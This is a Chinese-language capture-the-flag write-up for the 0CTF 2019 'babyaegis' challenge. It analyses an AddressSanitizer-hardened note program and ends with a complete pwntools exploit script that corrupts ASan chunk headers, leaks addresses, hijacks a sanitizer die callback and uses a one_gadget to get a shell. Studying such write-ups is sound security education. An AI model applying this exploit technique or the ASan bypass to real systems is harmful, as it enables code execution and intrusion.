0CTF 2019 babyaegis writeup

 

在比赛勉强做出了这道题目,果然0ctf的题都不是简单的

分析题目

Address-Sanitizier 简要分析

一打开文件,发现左边一堆以asan为前缀的的函数

asan(Address-Sanitizier) 早先是LLVM中的特性,后被加入GCC 4.8,在GCC 4.9后加入对ARM平台的支持。因此GCC 4.8以上版本使用ASAN时不需要安装第三方库,通过在编译时指定编译CFLAGS即可打开开关。

asan用于检测各种内存错误漏洞,如use after free,stack overflow, heap overflow等

具体的分析可以看下这篇文章

AddressSanitizer算法及源码解析

这里总结一下文章的内容大概就是

  • 利用Shadow Memory,将每8个字节映射到Shadow Memory对应的一个字节,对内存的读写操作都会对Shadow Memory对应的内存进行读取内容,判断这个内存读写操作是否非法,映射的规则是
Shadow = (Mem>>3) + 0x7fff8000;
  • 对于栈上的变量,会在编译时插桩,在每个栈变量前后都加上Redzone,Redzone是不能读写的,同样还会进行Shadow Memory的映射
  • 对于动态分配的内存,会hook掉对应的函数,如malloc, free,然后使用自己的分配策略,同样会用Shadow Memory进行映射

文章中没有说到的我这里补充一下

  • 对于会有内存操作的库函数,如strlen等,都会进行hook掉,动态的检测内存
  • hook掉的malloc分配的策略大概可以描述如下,不同size分配的内存区域不同,但是地址会固定,如0x10字节大小的,一开始都会分配到0x602000000010这个地址
  • 分配的每块内存的前面0x10个字节都会带有一些描述这块内存的信息,如size,使用状态
  • free掉之后的内存正常情况是不会再次被分配的

程序功能分析

程序有5个功能,分别是

  • add_note
  • show_note
  • update_note
  • delete_note
  • secret

下面将会分析每个功能

add_note

首先是遍历前10个位置,看下有没有空位,假如没有就会直接报错退出

接下来是读取note的size,这里限制了下size的范围,然后malloc出来,使用read_until_nl_or_max来读取size-8个字节进malloc的内存里面,read_until_nl_or_max返回值应该就是读取字节的数量,假如读取到max位,会在max位置0,然后返回max-1

之后会读取8个字节大小的ID,赋值到之前读进的数据后面

之后malloc 0x10个字节大小的chunk,将指针存到bss段的notes对应的位置里面

再把一开始malloc的内存指针存到 0x10个字节大小的chunk前8个字节,在后8个字节存一个函数指针cfi_check

最后的布局大概如下

show_note

show note就比较简单,首先读取下标,然后根据下标从notes中取出内存指针,再取出一开始malloc的内存,用strlen来判断读取的内容的长度,然后在此之后8个字节作为ID

用printf来输出

update_note

这里前面跟show_note差不多,然后就是更新各种东西

不过这里有两个bug

第一个是,这里默认read_until_nl_or_max读取数据最后一位肯定为x00

但是实际读取到max之后,后面的ID会和前面的数据连在一起,这样就会导致溢出

第二个就是Address Sanitizier自身的一个漏洞

假如说有这么一个赋值

*(_QWORD *)address = value;

Address Sanitizier会检测

Shadow = (address>>3) + 0x7fff8000;

的内存是否为0,这在address % 8 = 0的情况下工作得非常好

那么如果 address % 8 != 0 呢?

Address Sanitizier 检测到address开始位置的内存是可读写的就会让程序继续进行下去,但是实际上后8个字节如果是不可读写的话,就会变成溢出,最大可以溢出7个字节到下一个块

之后就是执行函数指针,不过这里会在执行前判断一下,基本不可能修改来任意执行

delete_note

这里一开始是选择index,然后拿出来,free掉

这里又是另外一个漏洞,free掉之后没有置0

不过因为用了Address Sanitizier,任何use after free都会退出

而且Address Sanitizier也会把那个地址修改为一个不可读写的地址

secret

这里首先是读取一个地址,然后会判断一下地址右移44位之后是否大于0,假如大于的话,会或运算上0x700000000000,之后会对这个地址写0

因为程序开了PIE,地址大于 0x500000000000,而堆地址是大于0x600000000000,两个都小于0x700000000000,因此是不能对程序中的变量和堆上的变量进行写0操作

唯一有可能的就是Shadow Memory,这里详细的会在后面说

 

利用漏洞

程序有三个漏洞,还有一个有限地址置0,应该怎么利用好呢?

首先前面分析过,有限地址置0肯定是往Shadow Memory里面置0,那么具体在哪里呢?

我们一步步地分析

首先上面也说过,不同malloc会根据size分配到不同的区域,这里想要溢出什么的,肯定最好也分配0x10的chunk

首先add一个0x10大小的note,然后在内存里面观察下

红色框里面的就是chunkHeader

再看下对应的Shadow Memory

可以看到除了分配的内存以外,其他都不为0

我们试下free掉这个note看看

可以看到Header的内容变了,原来Shadow Memory是00的地方变为fd

其实因为题目的限制,这个时候置0的位置已经很明显了,肯定是在一个malloc的chunk后面的shadow memory那里置0,然后溢出到下一个chunk的header

再通过修改header干一些奇奇怪怪的事情

找了下源码,header的结构如下

前8bit是存的chunk_state 之后24bit存了alloc_tid,以次类推

可以看到还存user_requested_size,可以试着改一下这个

我们这里通过溢出修改了user_requested_size,那么free掉之后会有什么效果呢?

可以看到后面全部变成0xfd,也就是全部当成被free的状态

研究了下,其实他的size是0x20000010,最高位为什么是2就不知道了

然后试着改了下最高位

发现free之后,shadow memory回到一开始的状态

跟踪了一下源码,大概就是size过大,触发了回收机制,把所有chunck回收了

这个时候如果我们再新建一个note,会发现与第一个note重叠了

而且刚好顺序是相反的,内存如下图

也就是我们现在可以控制heap中的内存指针,也就有了任意读,可以leak出程序基址,libc基址

关键现在就是怎么利用呢?

这里我利用的是bss段的一个callback

_ZN11__sanitizerL20InternalDieCallbacksE

在update的时候,检测函数指针错误的时候会调用Die,Die又会调用这个callback,跳转到gets函数,这个时候就有一个ROP,之后ROP一下就能get shell,这里我就不多说了

下面是详细的payload

from pwn import *

debug=1
context.log_level='debug'


if debug:
    p=process('aegis',env={'LD_PRELOAD':'./libc-2.27.so'})
    gdb.attach(p)
else:
    p=remote('111.186.63.209', 6666)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def add(sz,content,id):
    sl('1')
    ru('Size')
    sl(str(sz))
    ru('Content')
    se(content)
    ru('ID')
    sl(str(id))
    ru('Choice: ')

def show(idx):
    sl('2')
    ru('Index')
    sl(str(idx))


def update(idx,content,id):
    sl('3')
    ru('Index')
    sl(str(idx))
    ru('Content: ')
    se(content)
    ru('New ID:')
    sl(str(id))
    ru('Choice:' )

def delete(idx):
    sl('4')
    ru('Index')
    sl(str(idx))
    ru('Choice:')

def secret(addr):
    sl('666')
    ru('Lucky Number: ')
    sl(str(addr))
    ru('Choice:')


add(0x10,'a'*8,0x123456789abcdef)

#0x602000000000
#0x7fff8000
secret(0xc047fff8008-4)

#modify user_requested_size
update(0,'x02'*0x12,0x123456789)
update(0,'x02'*0x10+p64(0x02ffffff00000002)[:7],0x01f000ff1002ff)

delete(0)

add(0x10,p64(0x602000000018),0)

#leak program base address

show(0)

ru('Content: ')
addr = u64(ru('n')[:-1]+'x00x00')
pbase = addr -0x114AB0
ru('Choice: ')

#leak libc base address

update(1,p64(pbase+0x347DF0)[:2],(pbase+0x347DF0)>>8)

show(0)

ru('Content: ')
addr = u64(ru('n')[:-1]+'x00x00')
base = addr -0xE4FA0
ru('Choice: ')

#write gets to sanitizerL20InternalDieCallbacksE

update(1,p64(pbase+0xFB08A0)[:7],0)

sl('3')
ru('Index')
sl('0')
ru('Content')
se(p64(base+524464)[:7])
ru('ID')

# ROP one_gadget get shell

payload = 'a'*471+p64(base+0x4f322)+'x00'*0x100
sl(payload)

print(hex(pbase))
print(hex(base))
p.interactive()
(完)